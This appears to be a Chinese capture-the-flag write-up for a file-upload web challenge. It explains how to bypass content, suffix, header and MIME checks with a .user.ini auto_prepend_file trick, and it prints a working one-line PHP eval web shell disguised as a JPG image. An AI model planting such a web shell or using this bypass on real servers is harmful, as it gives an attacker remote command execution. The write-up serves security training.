攻防世界-web-ctf-upload

题目场景

查看源码

 毫无有效的数据

官方WriteUp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串
 
检查后缀中是否有htaccess或ph
 
检查文件头部信息
 
文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

.user.ini文件构成的PHP后门 - phith0n

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:
上传.user.ini,内容为

GIF89a                  
auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a
<?=eval($_POST['cmd']);?>

BP抓包

上传.user.ini

 

再上传a.jpg

 

 

F12查看文件去向

 蚁剑连接

 

找到flag 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值